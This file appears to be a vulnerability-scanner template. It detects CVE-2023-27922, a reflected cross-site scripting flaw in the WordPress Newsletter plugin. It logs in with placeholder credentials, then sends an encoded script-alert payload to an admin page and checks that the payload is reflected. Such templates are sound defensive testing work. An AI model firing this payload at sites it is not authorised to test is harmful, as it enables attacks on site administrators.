52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2023-27922
|
|
|
|
info:
|
|
name: Newsletter < 7.6.9 - Cross-Site Scripting
|
|
author: r3Y3r53
|
|
severity: medium
|
|
description: |
|
|
The plugin does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as administrators
|
|
reference:
|
|
- https://wpscan.com/vulnerability/eb6ff6f0-60fe-4345-b443-97fd4800418c
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-27922
|
|
- https://jvn.jp/en/jp/JVN59341308/
|
|
- https://wordpress.org/plugins/newsletter/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2023-27922
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00113
|
|
epss-percentile: 0.44651
|
|
cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: thenewsletterplugin
|
|
product: newsletter
|
|
framework: wordpress
|
|
publicwww-query: /wp-content/plugins/newsletter/
|
|
tags: wpscan,cve,cve2023,wordpress,wp,wp-plugin,xss,newsletter,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
- |
|
|
GET /wp-admin/admin.php?page=newsletter_system_status&a%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_2 == 200'
|
|
- 'contains(body_2, "text/html")'
|
|
- 'contains(tolower(body_2), "_newsletter_")'
|
|
- 'contains(body_2, "><script>alert(document_domain)</script>")'
|
|
condition: and
|
|
# digest: 4a0a00473045022077d570289e0ca09969ecc7430fc351456050a3f823172cdd5b40d0ebbf91b68b022100cf6302f8b717f4d6fb1efbd2a5130031c75738a7b9ea1ee58ce535a802740eaa:922c64590222798bb761d5b6d8e72950 |